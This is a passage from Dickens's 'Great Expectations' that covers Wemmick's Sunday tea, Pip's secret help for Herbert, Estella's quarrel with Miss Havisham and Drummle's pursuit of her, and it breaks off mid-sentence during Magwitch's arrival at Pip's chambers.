Skiffins brewed such a jorum of tea, that the +pig in the back premises became strongly excited, and repeatedly +expressed his desire to participate in the entertainment. + +The flag had been struck, and the gun had been fired, at the right +moment of time, and I felt as snugly cut off from the rest of +Walworth as if the moat were thirty feet wide by as many deep. +Nothing disturbed the tranquillity of the Castle, but the +occasional tumbling open of John and Miss Skiffins: which little +doors were a prey to some spasmodic infirmity that made me +sympathetically uncomfortable until I got used to it. I inferred +from the methodical nature of Miss Skiffins's arrangements that she +made tea there every Sunday night; and I rather suspected that a +classic brooch she wore, representing the profile of an undesirable +female with a very straight nose and a very new moon, was a piece +of portable property that had been given her by Wemmick. + +We ate the whole of the toast, and drank tea in proportion, and it +was delightful to see how warm and greasy we all got after it. The +Aged especially, might have passed for some clean old chief of a +savage tribe, just oiled. After a short pause for repose, Miss +Skiffins - in the absence of the little servant who, it seemed, +retired to the bosom of her family on Sunday afternoons - washed up +the tea-things, in a trifling lady-like amateur manner that +compromised none of us. Then, she put on her gloves again, and we +drew round the fire, and Wemmick said, "Now Aged Parent, tip us the +paper." + +Wemmick explained to me while the Aged got his spectacles out, that +this was according to custom, and that it gave the old gentleman +infinite satisfaction to read the news aloud. "I won't offer an +apology," said Wemmick, "for he isn't capable of many pleasures - +are you, Aged P.?" + +"All right, John, all right," returned the old man, seeing himself +spoken to. + +"Only tip him a nod every now and then when he looks off his +paper," said Wemmick, "and he'll be as happy as a king. We are all +attention, Aged One." + +"All right, John, all right!" returned the cheerful old man: so +busy and so pleased, that it really was quite charming. + +The Aged's reading reminded me of the classes at Mr. Wopsle's +great-aunt's, with the pleasanter peculiarity that it seemed to +come through a keyhole. As he wanted the candles close to him, and +as he was always on the verge of putting either his head or the +newspaper into them, he required as much watching as a powder-mill. +But Wemmick was equally untiring and gentle in his vigilance, and +the Aged read on, quite unconscious of his many rescues. Whenever +he looked at us, we all expressed the greatest interest and +amazement, and nodded until he resumed again. + +As Wemmick and Miss Skiffins sat side by side, and as I sat in a +shadowy corner, I observed a slow and gradual elongation of Mr. +Wemmick's mouth, powerfully suggestive of his slowly and gradually +stealing his arm round Miss Skiffins's waist. In course of time I +saw his hand appear on the other side of Miss Skiffins; but at that +moment Miss Skiffins neatly stopped him with the green glove, +unwound his arm again as if it were an article of dress, and with +the greatest deliberation laid it on the table before her. Miss +Skiffins's composure while she did this was one of the most +remarkable sights I have ever seen, and if I could have thought the +act consistent with abstraction of mind, I should have deemed that +Miss Skiffins performed it mechanically. + +By-and-by, I noticed Wemmick's arm beginning to disappear again, +and gradually fading out of view. Shortly afterwards, his mouth +began to widen again. After an interval of suspense on my part that +was quite enthralling and almost painful, I saw his hand appear on +the other side of Miss Skiffins. Instantly, Miss Skiffins stopped +it with the neatness of a placid boxer, took off that girdle or +cestus as before, and laid it on the table. Taking the table to +represent the path of virtue, I am justified in stating that during +the whole time of the Aged's reading, Wemmick's arm was straying +from the path of virtue and being recalled to it by Miss Skiffins. + +At last, the Aged read himself into a light slumber. This was the +time for Wemmick to produce a little kettle, a tray of glasses, and +a black bottle with a porcelain-topped cork, representing some +clerical dignitary of a rubicund and social aspect. With the aid of +these appliances we all had something warm to drink: including the +Aged, who was soon awake again. Miss Skiffins mixed, and I observed +that she and Wemmick drank out of one glass. Of course I knew +better than to offer to see Miss Skiffins home, and under the +circumstances I thought I had best go first: which I did, taking a +cordial leave of the Aged, and having passed a pleasant evening. + +Before a week was out, I received a note from Wemmick, dated +Walworth, stating that he hoped he had made some advance in that +matter appertaining to our private and personal capacities, and +that he would be glad if I could come and see him again upon it. +So, I went out to Walworth again, and yet again, and yet again, and +I saw him by appointment in the City several times, but never held +any communication with him on the subject in or near Little +Britain. The upshot was, that we found a worthy young merchant or +shipping-broker, not long established in business, who wanted +intelligent help, and who wanted capital, and who in due course of +time and receipt would want a partner. Between him and me, secret +articles were signed of which Herbert was the subject, and I paid +him half of my five hundred pounds down, and engaged for sundry +other payments: some, to fall due at certain dates out of my +income: some, contingent on my coming into my property. Miss +Skiffins's brother conducted the negotiation. Wemmick pervaded it +throughout, but never appeared in it. + +The whole business was so cleverly managed, that Herbert had not +the least suspicion of my hand being in it. I never shall forget +the radiant face with which he came home one afternoon, and told +me, as a mighty piece of news, of his having fallen in with one +Clarriker (the young merchant's name), and of Clarriker's having +shown an extraordinary inclination towards him, and of his belief +that the opening had come at last. Day by day as his hopes grew +stronger and his face brighter, he must have thought me a more and +more affectionate friend, for I had the greatest difficulty in +restraining my tears of triumph when I saw him so happy. At length, +the thing being done, and he having that day entered Clarriker's +House, and he having talked to me for a whole evening in a flush of +pleasure and success, I did really cry in good earnest when I went +to bed, to think that my expectations had done some good to +somebody. + +A great event in my life, the turning point of my life, now opens +on my view. But, before I proceed to narrate it, and before I pass +on to all the changes it involved, I must give one chapter to +Estella. It is not much to give to the theme that so long filled +my heart. + + +Chapter 38 + +If that staid old house near the Green at Richmond should ever come +to be haunted when I am dead, it will be haunted, surely, by my +ghost. O the many, many nights and days through which the unquiet +spirit within me haunted that house when Estella lived there! Let +my body be where it would, my spirit was always wandering, +wandering, wandering, about that house. + +The lady with whom Estella was placed, Mrs. Brandley by name, was a +widow, with one daughter several years older than Estella. The +mother looked young, and the daughter looked old; the mother's +complexion was pink, and the daughter's was yellow; the mother set +up for frivolity, and the daughter for theology. They were in what +is called a good position, and visited, and were visited by, +numbers of people. Little, if any, community of feeling subsisted +between them and Estella, but the understanding was established +that they were necessary to her, and that she was necessary to +them. Mrs. Brandley had been a friend of Miss Havisham's before the +time of her seclusion. + +In Mrs. Brandley's house and out of Mrs. Brandley's house, I suffered +every kind and degree of torture that Estella could cause me. The +nature of my relations with her, which placed me on terms of +familiarity without placing me on terms of favour, conduced to my +distraction. She made use of me to tease other admirers, and she +turned the very familiarity between herself and me, to the account +of putting a constant slight on my devotion to her. If I had been +her secretary, steward, half-brother, poor relation - if I had been +a younger brother of her appointed husband - I could not have +seemed to myself, further from my hopes when I was nearest to her. +The privilege of calling her by her name and hearing her call me by +mine, became under the circumstances an aggravation of my trials; +and while I think it likely that it almost maddened her other +lovers, I know too certainly that it almost maddened me. + +She had admirers without end. No doubt my jealousy made an admirer +of every one who went near her; but there were more than enough of +them without that. + +I saw her often at Richmond, I heard of her often in town, and I +used often to take her and the Brandleys on the water; there were +picnics, fete days, plays, operas, concerts, parties, all sorts of +pleasures, through which I pursued her - and they were all miseries +to me. I never had one hour's happiness in her society, and yet my +mind all round the four-and-twenty hours was harping on the +happiness of having her with me unto death. + +Throughout this part of our intercourse - and it lasted, as will +presently be seen, for what I then thought a long time - she +habitually reverted to that tone which expressed that our +association was forced upon us. There were other times when she +would come to a sudden check in this tone and in all her many +tones, and would seem to pity me. + +"Pip, Pip," she said one evening, coming to such a check, when we +sat apart at a darkening window of the house in Richmond; "will you +never take warning?" + +"Of what?" + +"Of me." + +"Warning not to be attracted by you, do you mean, Estella?" + +"Do I mean! If you don't know what I mean, you are blind." + +I should have replied that Love was commonly reputed blind, but for +the reason that I always was restrained - and this was not the +least of my miseries - by a feeling that it was ungenerous to press +myself upon her, when she knew that she could not choose but obey +Miss Havisham. My dread always was, that this knowledge on her part +laid me under a heavy disadvantage with her pride, and made me the +subject of a rebellious struggle in her bosom. + +"At any rate," said I, "I have no warning given me just now, for +you wrote to me to come to you, this time." + +"That's true," said Estella, with a cold careless smile that always +chilled me. + +After looking at the twilight without, for a little while, she went +on to say: + +"The time has come round when Miss Havisham wishes to have me for a +day at Satis. You are to take me there, and bring me back, if you +will. She would rather I did not travel alone, and objects to +receiving my maid, for she has a sensitive horror of being talked +of by such people. Can you take me?" + +"Can I take you, Estella!" + +"You can then? The day after to-morrow, if you please. You are to +pay all charges out of my purse, You hear the condition of your +going?" + +"And must obey," said I. + +This was all the preparation I received for that visit, or for +others like it: Miss Havisham never wrote to me, nor had I ever so +much as seen her handwriting. We went down on the next day but one, +and we found her in the room where I had first beheld her, and it +is needless to add that there was no change in Satis House. + +She was even more dreadfully fond of Estella than she had been when +I last saw them together; I repeat the word advisedly, for there +was something positively dreadful in the energy of her looks and +embraces. She hung upon Estella's beauty, hung upon her words, hung +upon her gestures, and sat mumbling her own trembling fingers while +she looked at her, as though she were devouring the beautiful +creature she had reared. + +From Estella she looked at me, with a searching glance that seemed +to pry into my heart and probe its wounds. "How does she use you, +Pip; how does she use you?" she asked me again, with her witch-like +eagerness, even in Estella's hearing. But, when we sat by her +flickering fire at night, she was most weird; for then, keeping +Estella's hand drawn through her arm and clutched in her own hand, +she extorted from her, by dint of referring back to what Estella +had told her in her regular letters, the names and conditions of +the men whom she had fascinated; and as Miss Havisham dwelt upon +this roll, with the intensity of a mind mortally hurt and diseased, +she sat with her other hand on her crutch stick, and her chin on +that, and her wan bright eyes glaring at me, a very spectre. + +I saw in this, wretched though it made me, and bitter the sense of +dependence and even of degradation that it awakened - I saw in +this, that Estella was set to wreak Miss Havisham's revenge on men, +and that she was not to be given to me until she had gratified it +for a term. I saw in this, a reason for her being beforehand +assigned to me. Sending her out to attract and torment and do +mischief, Miss Havisham sent her with the malicious assurance that +she was beyond the reach of all admirers, and that all who staked +upon that cast were secured to lose. I saw in this, that I, too, +was tormented by a perversion of ingenuity, even while the prize +was reserved for me. I saw in this, the reason for my being staved +off so long, and the reason for my late guardian's declining to +commit himself to the formal knowledge of such a scheme. In a word, +I saw in this, Miss Havisham as I had her then and there before my +eyes, and always had had her before my eyes; and I saw in this, the +distinct shadow of the darkened and unhealthy house in which her +life was hidden from the sun. + +The candles that lighted that room of hers were placed in sconces +on the wall. They were high from the ground, and they burnt with +the steady dulness of artificial light in air that is seldom +renewed. As I looked round at them, and at the pale gloom they +made, and at the stopped clock, and at the withered articles of +bridal dress upon the table and the ground, and at her own awful +figure with its ghostly reflection thrown large by the fire upon +the ceiling and the wall, I saw in everything the construction that +my mind had come to, repeated and thrown back to me. My thoughts +passed into the great room across the landing where the table was +spread, and I saw it written, as it were, in the falls of the +cobwebs from the centre-piece, in the crawlings of the spiders on +the cloth, in the tracks of the mice as they betook their little +quickened hearts behind the panels, and in the gropings and +pausings of the beetles on the floor. + +It happened on the occasion of this visit that some sharp words +arose between Estella and Miss Havisham. It was the first time I +had ever seen them opposed. + +We were seated by the fire, as just now described, and Miss +Havisham still had Estella's arm drawn through her own, and still +clutched Estella's hand in hers, when Estella gradually began to +detach herself. She had shown a proud impatience more than once +before, and had rather endured that fierce affection than accepted +or returned it. + +"What!" said Miss Havisham, flashing her eyes upon her, "are you +tired of me?" + +"Only a little tired of myself," replied Estella, disengaging her +arm, and moving to the great chimney-piece, where she stood looking +down at the fire. + +"Speak the truth, you ingrate!" cried Miss Havisham, passionately +striking her stick upon the floor; "you are tired of me." + +Estella looked at her with perfect composure, and again looked down +at the fire. Her graceful figure and her beautiful face expressed a +self-possessed indifference to the wild heat of the other, that was +almost cruel. + +"You stock and stone!" exclaimed Miss Havisham. "You cold, cold +heart!" + +"What?" said Estella, preserving her attitude of indifference as +she leaned against the great chimney-piece and only moving her +eyes; "do you reproach me for being cold? You?" + +"Are you not?" was the fierce retort. + +"You should know," said Estella. "I am what you have made me. Take +all the praise, take all the blame; take all the success, take all +the failure; in short, take me." + +"O, look at her, look at her!" cried Miss Havisham, bitterly; "Look +at her, so hard and thankless, on the hearth where she was reared! +Where I took her into this wretched breast when it was first +bleeding from its stabs, and where I have lavished years of +tenderness upon her!" + +"At least I was no party to the compact," said Estella, "for if I +could walk and speak, when it was made, it was as much as I could +do. But what would you have? You have been very good to me, and I +owe everything to you. What would you have?" + +"Love," replied the other. + +"You have it." + +"I have not," said Miss Havisham. + +"Mother by adoption," retorted Estella, never departing from the +easy grace of her attitude, never raising her voice as the other +did, never yielding either to anger or tenderness, "Mother by +adoption, I have said that I owe everything to you. All I possess +is freely yours. All that you have given me, is at your command to +have again. Beyond that, I have nothing. And if you ask me to give +you what you never gave me, my gratitude and duty cannot do +impossibilities." + +"Did I never give her love!" cried Miss Havisham, turning wildly to +me. "Did I never give her a burning love, inseparable from jealousy +at all times, and from sharp pain, while she speaks thus to me! Let +her call me mad, let her call me mad!" + +"Why should I call you mad," returned Estella, "I, of all people? +Does any one live, who knows what set purposes you have, half as +well as I do? Does any one live, who knows what a steady memory you +have, half as well as I do? I who have sat on this same hearth on +the little stool that is even now beside you there, learning your +lessons and looking up into your face, when your face was strange +and frightened me!" + +"Soon forgotten!" moaned Miss Havisham. "Times soon forgotten!" + +"No, not forgotten," retorted Estella. "Not forgotten, but +treasured up in my memory. When have you found me false to your +teaching? When have you found me unmindful of your lessons? When +have you found me giving admission here," she touched her bosom +with her hand, "to anything that you excluded? Be just to me." + +"So proud, so proud!" moaned Miss Havisham, pushing away her grey +hair with both her hands. + +"Who taught me to be proud?" returned Estella. "Who praised me when +I learnt my lesson?" + +"So hard, so hard!" moaned Miss Havisham, with her former action. + +"Who taught me to be hard?" returned Estella. "Who praised me when +I learnt my lesson?" + +"But to be proud and hard to me!" Miss Havisham quite shrieked, as +she stretched out her arms. "Estella, Estella, Estella, to be proud +and hard to me!" + +Estella looked at her for a moment with a kind of calm wonder, but +was not otherwise disturbed; when the moment was past, she looked +down at the fire again. + +"I cannot think," said Estella, raising her eyes after a silence +"why you should be so unreasonable when I come to see you after a +separation. I have never forgotten your wrongs and their causes. I +have never been unfaithful to you or your schooling. I have never +shown any weakness that I can charge myself with." + +"Would it be weakness to return my love?" exclaimed Miss Havisham. +"But yes, yes, she would call it so!" + +"I begin to think," said Estella, in a musing way, after another +moment of calm wonder, "that I almost understand how this comes +about. If you had brought up your adopted daughter wholly in the +dark confinement of these rooms, and had never let her know that +there was such a thing as the daylight by which she had never once +seen your face - if you had done that, and then, for a purpose had +wanted her to understand the daylight and know all about it, you +would have been disappointed and angry?" + +Miss Havisham, with her head in her hands, sat making a low +moaning, and swaying herself on her chair, but gave no answer. + +"Or," said Estella, " - which is a nearer case - if you had taught +her, from the dawn of her intelligence, with your utmost energy and +might, that there was such a thing as daylight, but that it was +made to be her enemy and destroyer, and she must always turn +against it, for it had blighted you and would else blight her; - if +you had done this, and then, for a purpose, had wanted her to take +naturally to the daylight and she could not do it, you would have +been disappointed and angry?" + +Miss Havisham sat listening (or it seemed so, for I could not see +her face), but still made no answer. + +"So," said Estella, "I must be taken as I have been made. The +success is not mine, the failure is not mine, but the two together +make me." + +Miss Havisham had settled down, I hardly knew how, upon the floor, +among the faded bridal relics with which it was strewn. I took +advantage of the moment - I had sought one from the first - to +leave the room, after beseeching Estella's attention to her, with a +movement of my hand. When I left, Estella was yet standing by the +great chimney-piece, just as she had stood throughout. Miss +Havisham's grey hair was all adrift upon the ground, among the +other bridal wrecks, and was a miserable sight to see. + +It was with a depressed heart that I walked in the starlight for an +hour and more, about the court-yard, and about the brewery, and +about the ruined garden. When I at last took courage to return to +the room, I found Estella sitting at Miss Havisham's knee, taking +up some stitches in one of those old articles of dress that were +dropping to pieces, and of which I have often been reminded since +by the faded tatters of old banners that I have seen hanging up in +cathedrals. Afterwards, Estella and I played at cards, as of yore - +only we were skilful now, and played French games - and so the +evening wore away, and I went to bed. + +I lay in that separate building across the court-yard. It was the +first time I had ever lain down to rest in Satis House, and sleep +refused to come near me. A thousand Miss Havishams haunted me. She +was on this side of my pillow, on that, at the head of the bed, at +the foot, behind the half-opened door of the dressing-room, in the +dressing-room, in the room overhead, in the room beneath - +everywhere. At last, when the night was slow to creep on towards +two o'clock, I felt that I absolutely could no longer bear the +place as a place to lie down in, and that I must get up. I +therefore got up and put on my clothes, and went out across the +yard into the long stone passage, designing to gain the outer +court-yard and walk there for the relief of my mind. But, I was no +sooner in the passage than I extinguished my candle; for, I saw +Miss Havisham going along it in a ghostly manner, making a low cry. +I followed her at a distance, and saw her go up the staircase. She +carried a bare candle in her hand, which she had probably taken +from one of the sconces in her own room, and was a most unearthly +object by its light. Standing at the bottom of the staircase, I +felt the mildewed air of the feast-chamber, without seeing her open +the door, and I heard her walking there, and so across into her own +room, and so across again into that, never ceasing the low cry. +After a time, I tried in the dark both to get out, and to go back, +but I could do neither until some streaks of day strayed in and +showed me where to lay my hands. During the whole interval, +whenever I went to the bottom of the staircase, I heard her +footstep, saw her light pass above, and heard her ceaseless low +cry. + +Before we left next day, there was no revival of the difference +between her and Estella, nor was it ever revived on any similar +occasion; and there were four similar occasions, to the best of my +remembrance. Nor, did Miss Havisham's manner towards Estella in +anywise change, except that I believed it to have something like +fear infused among its former characteristics. + +It is impossible to turn this leaf of my life, without putting +Bentley Drummle's name upon it; or I would, very gladly. + +On a certain occasion when the Finches were assembled in force, and +when good feeling was being promoted in the usual manner by +nobody's agreeing with anybody else, the presiding Finch called the +Grove to order, forasmuch as Mr. Drummle had not yet toasted a lady; +which, according to the solemn constitution of the society, it was +the brute's turn to do that day. I thought I saw him leer in an +ugly way at me while the decanters were going round, but as there +was no love lost between us, that might easily be. What was my +indignant surprise when he called upon the company to pledge him to +"Estella!" + +"Estella who?" said I. + +"Never you mind," retorted Drummle. + +"Estella of where?" said I. "You are bound to say of where." Which +he was, as a Finch. + +"Of Richmond, gentlemen," said Drummle, putting me out of the +question, "and a peerless beauty." + +Much he knew about peerless beauties, a mean miserable idiot! I +whispered Herbert. + +"I know that lady," said Herbert, across the table, when the toast +had been honoured. + +"Do you?" said Drummle. + +"And so do I," I added, with a scarlet face. + +"Do you?" said Drummle. "Oh, Lord!" + +This was the only retort - except glass or crockery - that the +heavy creature was capable of making; but, I became as highly +incensed by it as if it had been barbed with wit, and I immediately +rose in my place and said that I could not but regard it as being +like the honourable Finch's impudence to come down to that Grove - +we always talked about coming down to that Grove, as a neat +Parliamentary turn of expression - down to that Grove, proposing a +lady of whom he knew nothing. Mr. Drummle upon this, starting up, +demanded what I meant by that? Whereupon, I made him the extreme +reply that I believed he knew where I was to be found. + +Whether it was possible in a Christian country to get on without +blood, after this, was a question on which the Finches were +divided. The debate upon it grew so lively, indeed, that at least +six more honourable members told six more, during the discussion, +that they believed they knew where they were to be found. However, +it was decided at last (the Grove being a Court of Honour) that if +Mr. Drummle would bring never so slight a certificate from the lady, +importing that he had the honour of her acquaintance, Mr. Pip must +express his regret, as a gentleman and a Finch, for "having been +betrayed into a warmth which." Next day was appointed for the +production (lest our honour should take cold from delay), and next +day Drummle appeared with a polite little avowal in Estella's hand, +that she had had the honour of dancing with him several times. This +left me no course but to regret that I had been "betrayed into a +warmth which," and on the whole to repudiate, as untenable, the +idea that I was to be found anywhere. Drummle and I then sat +snorting at one another for an hour, while the Grove engaged in +indiscriminate contradiction, and finally the promotion of good +feeling was declared to have gone ahead at an amazing rate. + +I tell this lightly, but it was no light thing to me. For, I cannot +adequately express what pain it gave me to think that Estella +should show any favour to a contemptible, clumsy, sulky booby, so +very far below the average. To the present moment, I believe it to +have been referable to some pure fire of generosity and +disinterestedness in my love for her, that I could not endure the +thought of her stooping to that hound. No doubt I should have been +miserable whomsoever she had favoured; but a worthier object would +have caused me a different kind and degree of distress. + +It was easy for me to find out, and I did soon find out, that +Drummle had begun to follow her closely, and that she allowed him +to do it. A little while, and he was always in pursuit of her, and +he and I crossed one another every day. He held on, in a dull +persistent way, and Estella held him on; now with encouragement, +now with discouragement, now almost flattering him, now openly +despising him, now knowing him very well, now scarcely remembering +who he was. + +The Spider, as Mr. Jaggers had called him, was used to lying in +wait, however, and had the patience of his tribe. Added to that, he +had a blockhead confidence in his money and in his family +greatness, which sometimes did him good service - almost taking the +place of concentration and determined purpose. So, the Spider, +doggedly watching Estella, outwatched many brighter insects, and +would often uncoil himself and drop at the right nick of time. + +At a certain Assembly Ball at Richmond (there used to be Assembly +Balls at most places then), where Estella had outshone all other +beauties, this blundering Drummle so hung about her, and with so +much toleration on her part, that I resolved to speak to her +concerning him. I took the next opportunity: which was when she was +waiting for Mrs. Brandley to take her home, and was sitting apart +among some flowers, ready to go. I was with her, for I almost +always accompanied them to and from such places. + +"Are you tired, Estella?" + +"Rather, Pip." + +"You should be." + +"Say rather, I should not be; for I have my letter to Satis House +to write, before I go to sleep." + +"Recounting to-night's triumph?" said I. "Surely a very poor one, +Estella." + +"What do you mean? I didn't know there had been any." + +"Estella," said I, "do look at that fellow in the corner yonder, +who is looking over here at us." + +"Why should I look at him?" returned Estella, with her eyes on me +instead. "What is there in that fellow in the corner yonder - to +use your words - that I need look at?" + +"Indeed, that is the very question I want to ask you," said I. "For +he has been hovering about you all night." + +"Moths, and all sorts of ugly creatures," replied Estella, with a +glance towards him, "hover about a lighted candle. Can the candle +help it?" + +"No," I returned; "but cannot the Estella help it?" + +"Well!" said she, laughing, after a moment, "perhaps. Yes. Anything +you like." + +"But, Estella, do hear me speak. It makes me wretched that you +should encourage a man so generally despised as Drummle. You know +he is despised." + +"Well?" said she. + +"You know he is as ungainly within, as without. A deficient, +illtempered, lowering, stupid fellow." + +"Well?" said she. + +"You know he has nothing to recommend him but money, and a +ridiculous roll of addle-headed predecessors; now, don't you?" + +"Well?" said she again; and each time she said it, she opened her +lovely eyes the wider. + +To overcome the difficulty of getting past that monosyllable, I +took it from her, and said, repeating it with emphasis, "Well! Then, +that is why it makes me wretched." + +Now, if I could have believed that she favoured Drummle with any +idea of making me - me - wretched, I should have been in better +heart about it; but in that habitual way of hers, she put me so +entirely out of the question, that I could believe nothing of the +kind. + +"Pip," said Estella, casting her glance over the room, "don't be +foolish about its effect on you. It may have its effect on others, +and may be meant to have. It's not worth discussing." + +"Yes it is," said I, "because I cannot bear that people should say, +'she throws away her graces and attractions on a mere boor, the +lowest in the crowd.'" + +"I can bear it," said Estella. + +"Oh! don't be so proud, Estella, and so inflexible." + +"Calls me proud and inflexible in this breath!" said Estella, +opening her hands. "And in his last breath reproached me for +stooping to a boor!" + +"There is no doubt you do," said I, something hurriedly, "for I +have seen you give him looks and smiles this very night, such as +you never give to - me." + +"Do you want me then," said Estella, turning suddenly with a fixed +and serious, if not angry, look, "to deceive and entrap you?" + +"Do you deceive and entrap him, Estella?" + +"Yes, and many others - all of them but you. Here is Mrs. Brandley. +I'll say no more." + +And now that I have given the one chapter to the theme that so +filled my heart, and so often made it ache and ache again, I pass +on, unhindered, to the event that had impended over me longer yet; +the event that had begun to be prepared for, before I knew that the +world held Estella, and in the days when her baby intelligence was +receiving its first distortions from Miss Havisham's wasting hands. + +In the Eastern story, the heavy slab that was to fall on the bed of +state in the flush of conquest was slowly wrought out of the +quarry, the tunnel for the rope to hold it in its place was slowly +carried through the leagues of rock, the slab was slowly raised and +fitted in the roof, the rope was rove to it and slowly taken +through the miles of hollow to the great iron ring. All being made +ready with much labour, and the hour come, the sultan was aroused +in the dead of the night, and the sharpened axe that was to sever +the rope from the great iron ring was put into his hand, and he +struck with it, and the rope parted and rushed away, and the +ceiling fell. So, in my case; all the work, near and afar, that +tended to the end, had been accomplished; and in an instant the +blow was struck, and the roof of my stronghold dropped upon me. + + +Chapter 39 + +I was three-and-twenty years of age. Not another word had I heard +to enlighten me on the subject of my expectations, and my +twenty-third birthday was a week gone. We had left Barnard's Inn +more than a year, and lived in the Temple. Our chambers were in +Garden-court, down by the river. + +Mr. Pocket and I had for some time parted company as to our original +relations, though we continued on the best terms. Notwithstanding my +inability to settle to anything - which I hope arose out of the +restless and incomplete tenure on which I held my means - I had a +taste for reading, and read regularly so many hours a day. That +matter of Herbert's was still progressing, and everything with me +was as I have brought it down to the close of the last preceding +chapter. + +Business had taken Herbert on a journey to Marseilles. I was alone, +and had a dull sense of being alone. Dispirited and anxious, long +hoping that to-morrow or next week would clear my way, and long +disappointed, I sadly missed the cheerful face and ready response +of my friend. + +It was wretched weather; stormy and wet, stormy and wet; and mud, +mud, mud, deep in all the streets. Day after day, a vast heavy veil +had been driving over London from the East, and it drove still, as +if in the East there were an Eternity of cloud and wind. So furious +had been the gusts, that high buildings in town had had the lead +stripped off their roofs; and in the country, trees had been torn +up, and sails of windmills carried away; and gloomy accounts had +come in from the coast, of shipwreck and death. Violent blasts of +rain had accompanied these rages of wind, and the day just closed +as I sat down to read had been the worst of all. + +Alterations have been made in that part of the Temple since that +time, and it has not now so lonely a character as it had then, nor +is it so exposed to the river. We lived at the top of the last +house, and the wind rushing up the river shook the house that +night, like discharges of cannon, or breakings of a sea. When the +rain came with it and dashed against the windows, I thought, +raising my eyes to them as they rocked, that I might have fancied +myself in a storm-beaten lighthouse. Occasionally, the smoke came +rolling down the chimney as though it could not bear to go out into +such a night; and when I set the doors open and looked down the +staircase, the staircase lamps were blown out; and when I shaded my +face with my hands and looked through the black windows (opening +them ever so little, was out of the question in the teeth of such +wind and rain) I saw that the lamps in the court were blown out, +and that the lamps on the bridges and the shore were shuddering, +and that the coal fires in barges on the river were being carried +away before the wind like red-hot splashes in the rain. + +I read with my watch upon the table, purposing to close my book at +eleven o'clock. As I shut it, Saint Paul's, and all the many +church-clocks in the City - some leading, some accompanying, some +following - struck that hour. The sound was curiously flawed by the +wind; and I was listening, and thinking how the wind assailed and +tore it, when I heard a footstep on the stair. + +What nervous folly made me start, and awfully connect it with the +footstep of my dead sister, matters not. It was past in a moment, +and I listened again, and heard the footstep stumble in coming on. +Remembering then, that the staircase-lights were blown out, I took +up my reading-lamp and went out to the stair-head. Whoever was +below had stopped on seeing my lamp, for all was quiet. + +"There is some one down there, is there not?" I called out, looking +down. + +"Yes," said a voice from the darkness beneath. + +"What floor do you want?" + +"The top. Mr. Pip." + +"That is my name. - There is nothing the matter?" + +"Nothing the matter," returned the voice. And the man came on. + +I stood with my lamp held out over the stair-rail, and he came +slowly within its light. It was a shaded lamp, to shine upon a +book, and its circle of light was very contracted; so that he was +in it for a mere instant, and then out of it. In the instant, I had +seen a face that was strange to me, looking up with an +incomprehensible air of being touched and pleased by the sight of +me. + +Moving the lamp as the man moved, I made out that he was +substantially dressed, but roughly; like a voyager by sea. That he +had long iron-grey hair. That his age was about sixty. That he was +a muscular man, strong on his legs, and that he was browned and +hardened by exposure to weather. As he ascended the last stair or +two, and the light of my lamp included us both, I saw, with a +stupid kind of amazement, that he was holding out both his hands to +me. + +"Pray what is your business?" I asked him. + +"My business?" he repeated, pausing. "Ah! Yes. I will explain my +business, by your leave." + +"Do you wish to come in?" + +"Yes," he replied; "I wish to come in, Master." + +I had asked him the question inhospitably enough, for I resented +the sort of bright and gratified recognition that still shone in +his face. I resented it, because it seemed to imply that he +expected me to respond to it. But, I took him into the room I had +just left, and, having set the lamp on the table, asked him as +civilly as I could, to explain himself. + +He looked about him with the strangest air - an air of wondering +pleasure, as if he had some part in the things he admired - and he +pulled off a rough outer coat, and his hat. Then, I saw that his +head was furrowed and bald, and that the long iron-grey hair grew +only on its sides. But, I saw nothing that in the least explained +him. On the contrary, I saw him next moment, once more holding out +both his hands to me. + +"What do you mean?" said I, half suspecting him to be mad. + +He stopped in his looking at me, and slowly rubbed his right hand +over his head. "It's disapinting to a man," he said, in a coarse +broken voice, "arter having looked for'ard so distant, and come so +fur; but you're not to blame for that - neither on us is to blame +for that. I'll speak in half a minute. Give me half a minute, +please." + +He sat down on a chair that stood before the fire, and covered his +forehead with his large brown veinous hands. I looked at him +attentively then, and recoiled a little from him; but I did not +know him. + +"There's no one nigh," said he, looking over his shoulder; "is +there?" + +"Why do you, a stranger coming into my rooms at this time of the +night, ask that question?" said I. + +"You're a game one," he returned, shaking his head at me with a +deliberate affection, at once most unintelligible and most +exasperating; "I'm glad you've grow'd up, a game one! But don't +catch hold of me. You'd be sorry arterwards to have done it." + +I relinquished the intention he had detected, for I knew him! Even +yet, I could not recall a single feature, but I knew him! If the +wind and the rain had driven away the intervening years, had +scattered all the intervening objects, had swept us to the +churchyard where we first stood face to face on such different +levels, I could not have known my convict more distinctly than I +knew him now as he sat in the chair before the fire. No need to +take a file from his pocket and show it to me; no need to take the +handkerchief from his neck and twist it round his head; no need to +hug himself with both his arms, and take a shivering turn across +the room, looking back at me for recognition. I knew him before he +gave me one of those aids, though, a moment before, I had not been +conscious of remotely suspecting his identity. + +He came back to where I stood, and again held out both his hands. +Not knowing what to do - for, in my astonishment I had lost my +self-possession - I reluctantly gave him my hands. He grasped them +heartily, raised them to his lips, kissed them, and still held +them. + +"You acted noble, my boy," said he. "Noble, Pip! And I have never +forgot it!" + +At a change in his manner as if he were even going to embrace me, I +laid a hand upon his breast and put him away. + +"Stay!" said I. "Keep off! If you are grateful to me for what I did +when I was a little child, I hope you have shown your gratitude by +mending your way of life. If you have come here to thank me, it was +not necessary. Still, however you have found me out, there must be +something good in the feeling that has brought you here, and I will +not repulse you; but surely you must understand that - I--" + +My attention was so attracted by the singularity of his fixed look +at me, that the words died away on my tongue. + +"You was a saying," he observed, when we had confronted one another +in silence, "that surely I must understand. What, surely must I +understand?" + +"That I cannot wish to renew that chance intercourse with you of +long ago, under these different circumstances. I am glad to believe +you have repented and recovered yourself. I am glad to tell you so. +I am glad that, thinking I deserve to be thanked, you have come to +thank me. But our ways are different ways, none the less. You are +wet, and you look weary. Will you drink something before you go?" + +He had replaced his neckerchief loosely, and had stood, keenly +observant of me, biting a long end of it. "I think," he answered, +still with the end at his mouth and still observant of me, "that I +will drink (I thank you) afore I go." + +There was a tray ready on a side-table. I brought it to the table +near the fire, and asked him what he would have? He touched one of +the bottles without looking at it or speaking, and I made him some +hot rum-and-water. I tried to keep my hand steady while I did so, +but his look at me as he leaned back in his chair with the long +draggled end of his neckerchief between his teeth - evidently +forgotten - made my hand very difficult to master. When at last I +put the glass to him, I saw with amazement that his eyes were full +of tears. + +Up to this time I had remained standing, not to disguise that I +wished him gone. But I was softened by the softened aspect of the +man, and felt a touch of reproach. "I hope," said I, hurriedly +putting something into a glass for myself, and drawing a chair to +the table, "that you will not think I spoke harshly to you just +now. I had no intention of doing it, and I am sorry for it if I +did. I wish you well, and happy!" + +As I put my glass to my lips, he glanced with surprise at the end +of his 